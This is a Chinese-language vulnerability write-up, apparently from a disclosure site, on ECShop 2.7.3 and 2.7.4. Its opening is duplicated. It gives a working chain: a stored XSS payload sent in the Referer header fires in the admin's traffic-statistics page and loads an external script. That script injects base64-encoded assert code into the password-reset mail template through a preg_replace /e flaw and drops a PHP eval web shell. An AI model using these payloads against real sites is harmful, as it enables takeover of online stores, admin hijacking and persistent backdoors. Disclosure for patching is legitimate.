### 简要描述: 我这里测试的是v2.7.3 和v2.7.4版本,都成功,目测其他版本也可以getshell ### 详细说明: 1.includes/lib_main.php过滤不严导致XSS 看代码 ``` function visit_stats() { if (isset($GLOBALS['_CFG']['visit_stats']) && $GLOBALS['_CFG']['visit_stats'] == 'off') { return; } $time = gmtime(); /* 检查客户端是否存在访问统计的cookie */ $visit_times = (!empty($_COOKIE['ECS']['visit_times'])) ? intval($_COOKIE['ECS']['visit_times']) + 1 : 1; setcookie('ECS[visit_times]', $visit_times, $time + 86400 * 365, '/'); $browser = get_user_browser(); $os = get_os(); $ip = real_ip(); $area = ecs_geoip($ip); /* 语言 */ if (!empty($_SERVER['HTTP_ACCEPT_LANGUAGE'])) { $pos = strpos($_SERVER['HTTP_ACCEPT_LANGUAGE'], ';'); $lang = addslashes(($pos !== false) ? substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, $pos) : $_SERVER['HTTP_ACCEPT_LANGUAGE']); } else { $lang = ''; } /* 来源 */ if (!empty($_SERVER['HTTP_REFERER']) && strlen($_SERVER['HTTP_REFERER']) > 9) { $pos = strpos($_SERVER['HTTP_REFERER'], '/', 9);// if ($pos !== false) { $domain =...
### 简要描述: 我这里测试的是v2.7.3 和v2.7.4版本,都成功,目测其他版本也可以getshell ### 详细说明: 1.includes/lib_main.php过滤不严导致XSS 看代码 ``` function visit_stats() { if (isset($GLOBALS['_CFG']['visit_stats']) && $GLOBALS['_CFG']['visit_stats'] == 'off') { return; } $time = gmtime(); /* 检查客户端是否存在访问统计的cookie */ $visit_times = (!empty($_COOKIE['ECS']['visit_times'])) ? intval($_COOKIE['ECS']['visit_times']) + 1 : 1; setcookie('ECS[visit_times]', $visit_times, $time + 86400 * 365, '/'); $browser = get_user_browser(); $os = get_os(); $ip = real_ip(); $area = ecs_geoip($ip); /* 语言 */ if (!empty($_SERVER['HTTP_ACCEPT_LANGUAGE'])) { $pos = strpos($_SERVER['HTTP_ACCEPT_LANGUAGE'], ';'); $lang = addslashes(($pos !== false) ? substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, $pos) : $_SERVER['HTTP_ACCEPT_LANGUAGE']); } else { $lang = ''; } /* 来源 */ if (!empty($_SERVER['HTTP_REFERER']) && strlen($_SERVER['HTTP_REFERER']) > 9) { $pos = strpos($_SERVER['HTTP_REFERER'], '/', 9);// if ($pos !== false) { $domain = substr($_SERVER['HTTP_REFERER'], 0, $pos); $path = substr($_SERVER['HTTP_REFERER'], $pos); /* 来源关键字 */ if (!empty($domain) && !empty($path)) { save_searchengine_keyword($domain, $path); } } else { $domain = $path = ''; } } else { $domain = $path = ''; } $sql = 'INSERT INTO ' . $GLOBALS['ecs']->table('stats') . ' ( ' . 'ip_address, visit_times, browser, system, language, area, ' . 'referer_domain, referer_path, access_url, access_time' . ') VALUES (' . "'$ip', '$visit_times', '$browser', '$os', '$lang', '$area', ". "'" . addslashes($domain) ."', '" . addslashes($path) ."', '" . addslashes(PHP_SELF) ."', '" . $time . "')"; $GLOBALS['db']->query($sql);//$domain 从$_SERVER取出,只是简单的addslashes一下,没有过滤html标签 } ``` 取出时也没有过滤,于是产生漏洞 我们来构造一下REFERER 访问首页,构造Referer值为`'></graph>"><IMG SRC='' onerror=javascript:alert('XSS')>/ ` 提交,如图, [<img src="https://images.seebug.org/upload/201411/05185555fbc6f9ae1a48ab8a86c7ca833bda647d.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/05185555fbc6f9ae1a48ab8a86c7ca833bda647d.png) 管理员查看流量分析时触发,如图 [<img src="https://images.seebug.org/upload/201411/05185643eb09e9c2008152e4680d8474b06f9b42.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/05185643eb09e9c2008152e4680d8474b06f9b42.png) [<img src="https://images.seebug.org/upload/201411/05185657079a0a85222776297a2f750eb7bccd19.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/05185657079a0a85222776297a2f750eb7bccd19.png) 2.打cookie多没意思,咱们getshell吧 构造Referer值为--></script>/ 提交 再次构造Referer值为`'></graph>"><script src="http:\\\\127.0.0.1\\demo.js"><!--/` 提交(src后面的js地址必须用反斜杠) demo.js内容为 ``` Ajax.call('mail_template.php?is_ajax=1&act=save_template', "subject=%C3%DC%C2%EB%D5%D2%BB%D8&mail_type=0&tpl=1&content=%7B%24u%27%5D%3Bassert%28base64_decode%28%27ZmlsZV9wdXRfY29udGVudHMoJ3Rlc3QucGhwJyxiYXNlNjRfZGVjb2RlKCdQRDl3YUhBZ1FHVjJZV3dvSkY5UVQxTlVXeWRoSjEwcE96OCsnKSk7%3D%3D%27%29%29%3B+%2F%2F_var%5B%27%7D%3C%3F" , a, "POST", "JSON");/*写php代码到取回密码邮件模板,会员执行取回密码时执行php代码*/ Ajax.call('../user.php?act=get_password','act=send_pwd_email&user_name=vip&email=vip@ecshop.com', a , "POST", "JSON");/*前台取回密码.这里的vip和vip@ecshop.com为前台会员帐号和邮箱,我懒得注册了就用这个测试*/ function a(){ alert(''); } ``` 触发后,会在网店根目录生成一个test.php的文件,内容为`<?php @eval($_POST['a']);?>` 这里利用的是写php代码到取回密码邮件模板,执行取回密码操作时执行写入的代码 漏洞在includes\cls_template.php的fetch_str()函数 ``` function fetch_str($source) { if (!defined('ECS_ADMIN')) { $source = $this->smarty_prefilter_preCompile($source); } $source=preg_replace("/([^a-zA-Z0-9_]{1,1})+(copy|fputs|fopen|file_put_contents|fwrite|eval|phpinfo)+( |\()/is", "", $source);//过滤了部分php关键词 if(preg_match_all('~(<\?(?:\w+|=)?|\?>|language\s*=\s*[\"\']?php[\"\']?)~is', $source, $sp_match)) { $sp_match[1] = array_unique($sp_match[1]); for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++) { $source = str_replace($sp_match[1][$curr_sp],'%%%SMARTYSP'.$curr_sp.'%%%',$source); } for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++) { $source= str_replace('%%%SMARTYSP'.$curr_sp.'%%%', '<?php echo \''.str_replace("'", "\'", $sp_match[1][$curr_sp]).'\'; ?>'."\n", $source); } } return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source); } ``` 我们可以构造代码到取回邮件模板: ``` {$u'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3Rlc3QucGhwJyxiYXNlNjRfZGVjb2RlKCdQRDl3YUhBZ1FHVjJZV3dvSkY5UVQxTlVXeWRoSjEwcE96OCsnKSk7==')); //_var['}<? ``` 执行取回操作即可绕过过滤执行我们构造的代码 ### 漏洞证明: